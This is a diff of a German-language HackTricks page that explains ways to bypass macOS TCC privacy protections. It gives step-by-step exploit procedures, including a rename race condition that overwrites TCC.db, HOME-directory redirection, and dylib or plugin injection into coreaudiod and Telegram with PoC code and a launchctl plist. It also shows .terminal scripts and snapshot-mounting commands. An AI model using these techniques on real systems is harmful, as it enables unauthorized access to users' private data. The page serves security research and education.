Mehrere Apple-Anwendungen verwendeten diese Bibliothek, um auf TCC-geschützte Informationen zuzugreifen.
|
||||
```bash
|
||||
# Set this env variable everywhere
|
||||
launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
```
|
||||
### MTL\_DUMP\_PIPELINES\_TO\_JSON\_FILE - CVE-2023-32407
|
||||
### MTL_DUMP_PIPELINES_TO_JSON_FILE - CVE-2023-32407
|
||||
|
||||
Diese **Umgebungsvariable wird vom `Metal`-Framework** verwendet, das eine Abhängigkeit von verschiedenen Programmen hat, insbesondere von `Music`, das FDA hat.
|
||||
Diese **Umgebungsvariable wird vom `Metal`-Framework** verwendet, das eine Abhängigkeit verschiedener Programme darstellt, insbesondere von `Music`, das FDA hat.
|
||||
|
||||
Wenn Sie Folgendes festlegen: `MTL_DUMP_PIPELINES_TO_JSON_FILE="Pfad/Name"`. Wenn `Pfad` ein gültiges Verzeichnis ist, wird der Fehler ausgelöst und wir können `fs_usage` verwenden, um zu sehen, was im Programm passiert:
|
||||
Durch das Setzen von `MTL_DUMP_PIPELINES_TO_JSON_FILE="Pfad/Name"`. Wenn `Pfad` ein gültiges Verzeichnis ist, wird der Fehler ausgelöst und wir können `fs_usage` verwenden, um zu sehen, was im Programm passiert:
|
||||
|
||||
* Eine Datei namens `Pfad/.dat.nosyncXXXX.XXXXXX` (X ist zufällig) wird `open()`ed.
|
||||
* Eine oder mehrere `write()`s schreiben den Inhalt in die Datei (den wir nicht kontrollieren).
|
||||
* `Pfad/.dat.nosyncXXXX.XXXXXX` wird in `Pfad/Name` `rename()`d.
|
||||
* Es wird eine Datei `open()`ed, namens `Pfad/.dat.nosyncXXXX.XXXXXX` (X ist zufällig)
|
||||
* Ein oder mehrere `write()`s schreiben den Inhalt in die Datei (den wir nicht kontrollieren)
|
||||
* `Pfad/.dat.nosyncXXXX.XXXXXX` wird zu `Pfad/Name` `umbenannt()`
|
||||
|
||||
Es handelt sich um eine temporäre Dateischreiboperation, gefolgt von einem **`rename(old, new)`**, **das nicht sicher ist**.
|
||||
Es handelt sich um einen temporären Dateischreibvorgang, gefolgt von einem **`umbenennen(alter, neuer)`**, **der nicht sicher ist.**
|
||||
|
||||
Es ist nicht sicher, weil es die alten und neuen Pfade separat auflösen muss, was einige Zeit in Anspruch nehmen kann und anfällig für eine Race Condition sein kann. Weitere Informationen finden Sie in der `xnu`-Funktion `renameat_internal()`.
|
||||
Es ist nicht sicher, weil es **die alten und neuen Pfade separat auflösen** muss, was einige Zeit in Anspruch nehmen kann und anfällig für eine Race Condition sein kann. Weitere Informationen finden Sie in der `xnu`-Funktion `renameat_internal()`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Also, im Grunde genommen, wenn ein privilegierter Prozess von einem von Ihnen kontrollierten Ordner umbenannt wird, könnten Sie eine RCE gewinnen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in dieser CVE, die von der privilegierten App erstellte Datei zu öffnen und eine FD zu speichern.
|
||||
Also, wenn ein privilegierter Prozess beispielsweise aus einem von Ihnen kontrollierten Ordner umbenennt, könnten Sie eine RCE erzielen und ihn dazu bringen, auf eine andere Datei zuzugreifen oder, wie in diesem CVE, die von der privilegierten App erstellte Datei zu öffnen und einen FD zu speichern.
|
||||
|
||||
Wenn die Umbenennung auf einen von Ihnen kontrollierten Ordner zugreift, während Sie die Quelldatei geändert haben oder eine FD dazu haben, ändern Sie die Zieldatei (oder den Ordner) so, dass sie auf einen Symlink zeigt, sodass Sie jederzeit schreiben können.
|
||||
Wenn das Umbenennen auf einen von Ihnen kontrollierten Ordner zugreift, während Sie die Quelldatei geändert haben oder einen FD dazu haben, ändern Sie die Zieldatei (oder den Ordner) so, dass sie auf einen Symlink zeigt, sodass Sie schreiben können, wann immer Sie möchten.
|
||||
{% endhint %}
|
||||
|
||||
Dies war der Angriff in der CVE: Um beispielsweise die `TCC.db` des Benutzers zu überschreiben, können wir Folgendes tun:
|
||||
Dies war der Angriff im CVE: Um beispielsweise die `TCC.db` des Benutzers zu überschreiben, können wir:
|
||||
|
||||
* Erstellen Sie `/Users/hacker/ourlink`, das auf `/Users/hacker/Library/Application Support/com.apple.TCC/` zeigt.
|
||||
* Erstellen Sie das Verzeichnis `/Users/hacker/tmp/`.
|
||||
* Setzen Sie `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`.
|
||||
* Lösen Sie den Fehler aus, indem Sie `Music` mit dieser Umgebungsvariable ausführen.
|
||||
* Fangen Sie das `open()` von `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X ist zufällig) ab.
|
||||
* Hier öffnen wir diese Datei auch zum Schreiben und behalten den Dateideskriptor bei.
|
||||
* Wechseln Sie atomar `/Users/hacker/tmp` in einer Schleife mit `/Users/hacker/ourlink` **aus**.
|
||||
* Wir tun dies, um unsere Chancen zu maximieren, erfolgreich zu sein, da das Rennfenster ziemlich klein ist, aber das Verlieren des Rennens hat vernachlässigbare Nachteile.
|
||||
* Warten Sie eine Weile.
|
||||
* Überprüfen Sie, ob wir Glück hatten.
|
||||
* Wenn nicht, führen Sie den Vorgang erneut von vorne aus.
|
||||
* `/Users/hacker/ourlink` erstellen, um auf `/Users/hacker/Library/Application Support/com.apple.TCC/` zu verweisen
|
||||
* das Verzeichnis `/Users/hacker/tmp/` erstellen
|
||||
* `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db` festlegen
|
||||
* den Fehler auslösen, indem Sie `Music` mit dieser Umgebungsvariable ausführen
|
||||
* den `open()` von `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` (X ist zufällig) abfangen
|
||||
* hier öffnen wir diese Datei auch zum Schreiben und behalten den Dateideskriptor bei
|
||||
* tauschen Sie `/Users/hacker/tmp` atomar mit `/Users/hacker/ourlink` **in einer Schleife aus**
|
||||
* Wir tun dies, um unsere Chancen zu maximieren, da das Zeitfenster für das Rennen ziemlich knapp ist, aber das Verlieren des Rennens hat vernachlässigbare Nachteile
|
||||
* warten Sie einen Moment
|
||||
* überprüfen, ob wir Glück hatten
|
||||
* wenn nicht, führen Sie den Vorgang erneut von vorne aus
|
||||
|
||||
Weitere Informationen finden Sie unter [https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)
|
||||
|
||||
{% hint style="danger" %}
|
||||
Wenn Sie jetzt versuchen, die Umgebungsvariable `MTL_DUMP_PIPELINES_TO_JSON_FILE` zu verwenden, werden Apps nicht gestartet.
|
||||
Wenn Sie jetzt versuchen, die Umgebungsvariable `MTL_DUMP_PIPELINES_TO_JSON_FILE` zu verwenden, starten die Apps nicht.
|
||||
{% endhint %}
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
Als Root können Sie diesen Dienst aktivieren und der **ARD-Agent hat vollen Festplattenzugriff**, der dann von einem Benutzer missbraucht werden kann, um eine neue **TCC-Benutzerdatenbank** zu kopieren.
|
||||
Als Root können Sie diesen Dienst aktivieren und der **ARD-Agent hat vollen Festplattenzugriff**, der dann von einem Benutzer missbraucht werden könnte, um ihn dazu zu bringen, eine neue **TCC-Benutzerdatenbank zu kopieren**.
|
||||
|
||||
## Durch **NFSHomeDirectory**
|
||||
|
||||
TCC verwendet eine Datenbank im HOME-Verzeichnis des Benutzers, um den Zugriff auf ressourcenspezifische Ressourcen für den Benutzer unter **$HOME/Library/Application Support/com.apple.TCC/TCC.db** zu steuern.\
|
||||
Daher kann der Benutzer, wenn es ihm gelingt, TCC mit einer $HOME-Umgebungsvariable neu zu starten, die auf einen **anderen Ordner** zeigt, eine neue TCC-Datenbank in **/Library/Application Support/com.apple.TCC/TCC.db** erstellen und TCC dazu bringen, einer beliebigen App beliebige TCC-Berechtigungen zu gewähren.
|
||||
TCC verwendet eine Datenbank im HOME-Verzeichnis des Benutzers, um den Zugriff auf benutzerspezifische Ressourcen unter **$HOME/Library/Application Support/com.apple.TCC/TCC.db** zu steuern.\
|
||||
Daher könnte der Benutzer, wenn es ihm gelingt, TCC mit einer $HOME-Umgebungsvariable zu starten, die auf einen **anderen Ordner** zeigt, eine neue TCC-Datenbank in **/Library/Application Support/com.apple.TCC/TCC.db** erstellen und TCC dazu bringen, einer beliebigen App beliebige TCC-Berechtigungen zu erteilen.
|
||||
|
||||
{% hint style="success" %}
|
||||
Beachten Sie, dass Apple die in der Benutzerprofil gespeicherte Einstellung im **`NFSHomeDirectory`**-Attribut für den Wert von `$HOME` verwendet. Wenn Sie also eine Anwendung kompromittieren, die Berechtigungen zum Ändern dieses Werts hat (**`kTCCServiceSystemPolicySysAdminFiles`**), können Sie diese Option mit einem TCC-Bypass **wirksam einsetzen**.
|
||||
Beachten Sie, dass Apple die Einstellung, die im Benutzerprofil im **`NFSHomeDirectory`**-Attribut gespeichert ist, für den **Wert von `$HOME`** verwendet. Wenn Sie also eine Anwendung kompromittieren, die Berechtigungen zum Ändern dieses Werts hat (**`kTCCServiceSystemPolicySysAdminFiles`**), können Sie diese Option mit einem TCC-Bypass **wirksam einsetzen**.
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -233,19 +252,19 @@ Beachten Sie, dass Apple die in der Benutzerprofil gespeicherte Einstellung im *
|
|||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
Der **erste POC** verwendet [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) und [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/), um das HOME-Verzeichnis des Benutzers zu ändern.
|
||||
Der **erste POC** verwendet [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/) und [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/), um das **HOME**-Verzeichnis des Benutzers zu ändern.
|
||||
|
||||
1. Erhalten Sie einen _csreq_-Blob für die Ziel-App.
|
||||
2. Platzieren Sie eine gefälschte _TCC.db_-Datei mit erforderlichem Zugriff und dem _csreq_-Blob.
|
||||
3. Exportieren Sie den Directory Services-Eintrag des Benutzers mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Ändern Sie den Directory Services-Eintrag, um das Home-Verzeichnis des Benutzers zu ändern.
|
||||
5. Importieren Sie den modifizierten Directory Services-Eintrag mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
3. Exportieren Sie den Eintrag des Benutzerverzeichnisdienstes mit [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/).
|
||||
4. Ändern Sie den Eintrag des Verzeichnisdienstes, um das Heimatverzeichnis des Benutzers zu ändern.
|
||||
5. Importieren Sie den modifizierten Eintrag des Verzeichnisdienstes mit [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/).
|
||||
6. Stoppen Sie den _tccd_ des Benutzers und starten Sie den Prozess neu.
|
||||
|
||||
Der zweite POC verwendete **`/usr/libexec/configd`**, das `com.apple.private.tcc.allow` mit dem Wert `kTCCServiceSystemPolicySysAdminFiles` hatte.\
|
||||
Es war möglich, **`configd`** mit der Option **`-t`** auszuführen, wodurch ein Angreifer eine **benutzerdefinierte Bundle zum Laden** angeben konnte. Daher ersetzt der Exploit die Methode **`dsexport`** und **`dsimport`** zum Ändern des Home-Verzeichnisses des Benutzers durch eine **`configd`-Codeinjektion**.
|
||||
Es war möglich, **`configd`** mit der Option **`-t`** auszuführen. Ein Angreifer konnte eine **benutzerdefinierte Bundle zum Laden** angeben. Daher ersetzt der Exploit die Methode **`dsexport`** und **`dsimport`** zum Ändern des Heimatverzeichnisses des Benutzers durch eine **`configd`-Codeinjektion**.
|
||||
|
||||
Weitere Informationen finden Sie im [**Originalbericht**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
Für weitere Informationen lesen Sie den [**Originalbericht**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/).
|
||||
|
||||
## Durch Prozesseinspritzung
|
||||
|
||||
|
@ -255,21 +274,21 @@ Es gibt verschiedene Techniken, um Code in einen Prozess einzuspritzen und seine
|
|||
[macos-proces-abuse](../../../macos-proces-abuse/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Darüber hinaus ist die häufigste Methode zur Umgehung von TCC durch **Plugins (Load Library)**.\
|
||||
Plugins sind zusätzlicher Code, normalerweise in Form von Bibliotheken oder Plist, der von der Hauptanwendung **geladen wird** und unter ihrem Kontext ausgeführt wird. Wenn die Hauptanwendung also Zugriff auf TCC-eingeschränkte Dateien hatte (über gewährte Berechtigungen oder Entitlements), wird der **benutzerdefinierte Code dies auch haben**.
|
||||
Darüber hinaus ist die häufigste Prozesseinspritzung zur Umgehung von TCC über **Plugins (Bibliothek laden)** zu finden.\
|
||||
Plugins sind zusätzlicher Code in Form von Bibliotheken oder Plist, der vom Hauptprogramm **geladen wird** und unter seinem Kontext ausgeführt wird. Daher, wenn das Hauptprogramm Zugriff auf TCC-eingeschränkte Dateien hatte (über gewährte Berechtigungen oder Entitlements), wird der **benutzerdefinierte Code dies ebenfalls haben**.
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
Die Anwendung `/System/Library/CoreServices/Applications/Directory Utility.app` hatte das Entitlement **`kTCCServiceSystemPolicySysAdminFiles`**, lud Plugins mit der Erweiterung **`.daplug`** und hatte nicht die gehärtete Laufzeitumgebung.
|
||||
|
||||
Um diese CVE wirksam einzusetzen, wird das **`NFSHomeDirectory`** geändert (unter Ausnutzung des vorherigen Entitlements), um die TCC-Datenbank des Benutzers zu übernehmen und TCC zu umgehen.
|
||||
Um diesen CVE zu nutzen, wird das **`NFSHomeDirectory`** (unter Ausnutzung des vorherigen Entitlements) geändert, um in der Lage zu sein, die TCC-Datenbank des Benutzers zu übernehmen, um TCC zu umgehen.
|
||||
|
||||
Weitere Informationen finden Sie im [**Originalbericht**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
Für weitere Informationen lesen Sie den [**Originalbericht**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/).
|
||||
### CVE-2020-29621 - Coreaudiod
|
||||
|
||||
Die Binärdatei **`/usr/sbin/coreaudiod`** hatte die Berechtigungen `com.apple.security.cs.disable-library-validation` und `com.apple.private.tcc.manager`. Die erste Berechtigung erlaubt das **Einfügen von Code** und die zweite gibt Zugriff auf die **Verwaltung von TCC**.
|
||||
Die Binärdatei **`/usr/sbin/coreaudiod`** hatte die Berechtigungen `com.apple.security.cs.disable-library-validation` und `com.apple.private.tcc.manager`. Die erste erlaubt **Code-Injektion** und die zweite gibt Zugriff, um **TCC zu verwalten**.
|
||||
|
||||
Diese Binärdatei erlaubte das Laden von **Plug-Ins von Drittanbietern** aus dem Ordner `/Library/Audio/Plug-Ins/HAL`. Daher war es möglich, mit diesem PoC ein Plugin zu laden und die TCC-Berechtigungen zu **missbrauchen**:
|
||||
Diese Binärdatei erlaubte das Laden von **Plug-Ins von Drittanbietern** aus dem Ordner `/Library/Audio/Plug-Ins/HAL`. Daher war es möglich, mit diesem PoC **ein Plugin zu laden und die TCC-Berechtigungen zu missbrauchen**:
|
||||
```objectivec
|
||||
#import <Foundation/Foundation.h>
|
||||
#import <Security/Security.h>
|
||||
|
@ -300,9 +319,9 @@ Für weitere Informationen siehe den [**Originalbericht**](https://wojciechregul
|
|||
|
||||
### Geräteabstraktionsschicht (Device Abstraction Layer, DAL) Plug-Ins
|
||||
|
||||
Systemanwendungen, die den Kamerastream über Core Media I/O öffnen (Apps mit **`kTCCServiceCamera`**), laden **in diesen Prozess die Plugins**, die sich in `/Library/CoreMediaIO/Plug-Ins/DAL` befinden (nicht durch SIP eingeschränkt).
|
||||
Systemanwendungen, die einen Kamerastrom über Core Media I/O öffnen (Apps mit **`kTCCServiceCamera`**), laden **in dem Prozess diese Plugins**, die sich in `/Library/CoreMediaIO/Plug-Ins/DAL` befinden (nicht durch SIP eingeschränkt).
|
||||
|
||||
Es reicht aus, dort eine Bibliothek mit dem üblichen **Konstruktor** zu speichern, um Code **einzuschleusen**.
|
||||
Es reicht aus, dort eine Bibliothek mit dem üblichen **Konstruktor** zu speichern, um **Code einzuschleusen**.
|
||||
|
||||
Mehrere Apple-Anwendungen waren anfällig dafür.
|
||||
|
||||
|
@ -334,17 +353,17 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Weitere Informationen darüber, wie man dies leicht ausnutzen kann, finden Sie in [**dem Originalbericht**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
Für weitere Informationen darüber, wie man dies leicht ausnutzen kann, [**überprüfen Sie den Originalbericht**](https://wojciechregula.blog/post/how-to-rob-a-firefox/).
|
||||
|
||||
### CVE-2020-10006
|
||||
|
||||
Die Binärdatei `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` hatte die Berechtigungen **`com.apple.private.tcc.allow`** und **`com.apple.security.get-task-allow`**, was es ermöglichte, Code in den Prozess einzufügen und die TCC-Berechtigungen zu nutzen.
|
||||
Die Binärdatei `/system/Library/Filesystems/acfs.fs/Contents/bin/xsanctl` hatte die Berechtigungen **`com.apple.private.tcc.allow`** und **`com.apple.security.get-task-allow`**, was es ermöglichte, Code in den Prozess einzuspeisen und die TCC-Berechtigungen zu nutzen.
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram hatte die Berechtigungen **`com.apple.security.cs.allow-dyld-environment-variables`** und **`com.apple.security.cs.disable-library-validation`**, daher war es möglich, diese zu missbrauchen, um Zugriff auf seine Berechtigungen zu erhalten, wie z.B. das Aufnehmen mit der Kamera. Sie können [**die Nutzlast im Bericht finden**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
Telegram hatte die Berechtigungen **`com.apple.security.cs.allow-dyld-environment-variables`** und **`com.apple.security.cs.disable-library-validation`**, daher war es möglich, sie zu missbrauchen, um **Zugriff auf ihre Berechtigungen** zu erhalten, wie z.B. das Aufnehmen mit der Kamera. Sie können [**das Payload im Bericht finden**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/).
|
||||
|
||||
Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden. Eine **benutzerdefinierte plist** wurde erstellt, um diese Bibliothek einzufügen, und **`launchctl`** wurde verwendet, um sie zu starten:
|
||||
Beachten Sie, wie die Umgebungsvariable verwendet wird, um eine Bibliothek zu laden, ein **benutzerdefiniertes plist** wurde erstellt, um diese Bibliothek einzuspeisen, und **`launchctl`** wurde verwendet, um sie zu starten:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -376,13 +395,13 @@ launchctl load com.telegram.launcher.plist
|
|||
```
|
||||
## Durch offene Aufrufe
|
||||
|
||||
Es ist möglich, **`open`** auch im Sandbox-Modus aufzurufen.
|
||||
Es ist möglich, **`open`** auch während der Sandboxing-Ausführung aufzurufen.
|
||||
|
||||
### Terminal-Skripte
|
||||
|
||||
Es ist üblich, dem Terminal **Vollzugriff auf die Festplatte (FDA)** zu geben, zumindest bei Computern, die von technisch versierten Personen verwendet werden. Und es ist möglich, **`.terminal`**-Skripte damit aufzurufen.
|
||||
Es ist ziemlich üblich, dem Terminal **Full Disk Access (FDA)** zu gewähren, zumindest in Computern, die von Technikern verwendet werden. Und es ist möglich, **`.terminal`**-Skripte damit aufzurufen.
|
||||
|
||||
**`.terminal`**-Skripte sind plist-Dateien wie diese, mit dem auszuführenden Befehl im Schlüssel **`CommandString`**:
|
||||
**`.terminal`**-Skripte sind plist-Dateien wie diese mit dem Befehl, der im Schlüssel **`CommandString`** ausgeführt werden soll:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0">
|
||||
|
@ -400,7 +419,7 @@ Es ist üblich, dem Terminal **Vollzugriff auf die Festplatte (FDA)** zu geben,
|
|||
</dict>
|
||||
</plist>
|
||||
```
|
||||
Eine Anwendung könnte ein Terminal-Skript an einem Ort wie /tmp schreiben und es mit einem Befehl wie folgt starten:
|
||||
Eine Anwendung könnte ein Terminalskript an einem Ort wie /tmp schreiben und es mit einem Befehl wie folgt starten:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
|
@ -411,12 +430,12 @@ task.arguments = @[@"-a", @"/System/Applications/Utilities/Terminal.app",
|
|||
exploit_location]; task.standardOutput = pipe;
|
||||
[task launch];
|
||||
```
|
||||
## Durch Mounten
|
||||
## Durch Einhängen
|
||||
|
||||
### CVE-2020-9771 - mount\_apfs TCC-Bypass und Privilege Escalation
|
||||
### CVE-2020-9771 - mount\_apfs TCC Umgehung und Privilegieneskalation
|
||||
|
||||
**Jeder Benutzer** (auch nicht privilegierte) kann ein Time Machine-Snapshot erstellen und mounten und **auf ALLE Dateien** dieses Snapshots zugreifen.\
|
||||
Die einzige erforderliche Berechtigung ist, dass die verwendete Anwendung (wie `Terminal`) **Vollzugriff auf die Festplatte** (FDA) (`kTCCServiceSystemPolicyAllfiles`) hat, was von einem Administrator gewährt werden muss.
|
||||
**Jeder Benutzer** (auch nicht privilegierte) kann ein Zeitmaschinensnapshot erstellen und einhängen und **ALLE Dateien** dieses Snapshots **zugreifen**.\
|
||||
Die **einzige erforderliche Berechtigung** ist, dass die verwendete Anwendung (wie `Terminal`) Zugriff auf **Vollen Festplattenzugriff** (FDA) (`kTCCServiceSystemPolicyAllfiles`) benötigt, der von einem Administrator gewährt werden muss.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -440,11 +459,11 @@ ls /tmp/snap/Users/admin_user # This will work
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Eine detailliertere Erklärung finden Sie im [**Originalbericht**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
Eine ausführlichere Erklärung finden Sie im [**Originalbericht**](https://theevilbit.github.io/posts/cve\_2020\_9771/)**.**
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - Mount über TCC-Datei
|
||||
|
||||
Auch wenn die TCC-DB-Datei geschützt ist, war es möglich, über das Verzeichnis eine neue TCC.db-Datei zu **mounten**:
|
||||
Auch wenn die TCC-DB-Datei geschützt ist, war es möglich, **eine neue TCC.db-Datei über das Verzeichnis zu mounten**:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -471,12 +490,12 @@ os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
|||
|
||||
### asr
|
||||
|
||||
Das Tool **`/usr/sbin/asr`** ermöglichte das Kopieren der gesamten Festplatte und das Mounten an einem anderen Ort, um die TCC-Schutzmaßnahmen zu umgehen.
|
||||
Das Tool **`/usr/sbin/asr`** erlaubte es, die gesamte Festplatte zu kopieren und an einem anderen Ort zu mounten, wodurch die TCC-Schutzmaßnahmen umgangen wurden.
|
||||
|
||||
### Ortungsdienste
|
||||
### Standortdienste
|
||||
|
||||
Es gibt eine dritte TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients zu kennzeichnen, die auf **Ortungsdienste zugreifen** dürfen.\
|
||||
Der Ordner **`/var/db/locationd/` war nicht vor DMG-Mounting geschützt**, daher war es möglich, unsere eigene plist zu mounten.
|
||||
Es gibt eine dritte TCC-Datenbank in **`/var/db/locationd/clients.plist`**, um Clients zu kennzeichnen, die auf **Standortdienste zugreifen dürfen**.\
|
||||
Der Ordner **`/var/db/locationd/` war nicht vor DMG-Mounting geschützt**, daher war es möglich, unser eigenes plist zu mounten.
|
||||
|
||||
## Durch Startanwendungen
|
||||
|
||||
|
@ -486,19 +505,19 @@ Der Ordner **`/var/db/locationd/` war nicht vor DMG-Mounting geschützt**, daher
|
|||
|
||||
## Durch grep
|
||||
|
||||
In mehreren Fällen werden sensible Informationen wie E-Mails, Telefonnummern, Nachrichten usw. in nicht geschützten Orten gespeichert (was als Sicherheitslücke bei Apple gilt).
|
||||
In mehreren Fällen werden Dateien sensible Informationen wie E-Mails, Telefonnummern, Nachrichten... an nicht geschützten Orten speichern (was als Sicherheitslücke bei Apple gilt).
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Synthetische Klicks
|
||||
|
||||
Dies funktioniert nicht mehr, aber es [**hat in der Vergangenheit funktioniert**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
Das funktioniert nicht mehr, aber es [**hat in der Vergangenheit funktioniert**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ein anderer Weg unter Verwendung von [**CoreGraphics-Ereignissen**](https://objectivebythesea.org/v2/talks/OBTS\_v2\_Wardle.pdf):
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Referenz
|
||||
|
||||
|
@ -506,17 +525,3 @@ Ein anderer Weg unter Verwendung von [**CoreGraphics-Ereignissen**](https://obje
|
|||
* [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/)
|
||||
* [**20+ Möglichkeiten, Ihre macOS-Datenschutzmechanismen zu umgehen**](https://www.youtube.com/watch?v=W9GxnP8c8FU)
|
||||
* [**Knockout-Sieg gegen TCC - 20+ NEUE Möglichkeiten, Ihre MacOS-Datenschutzmechanismen zu umgehen**](https://www.youtube.com/watch?v=a9hsxPdRxsY)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
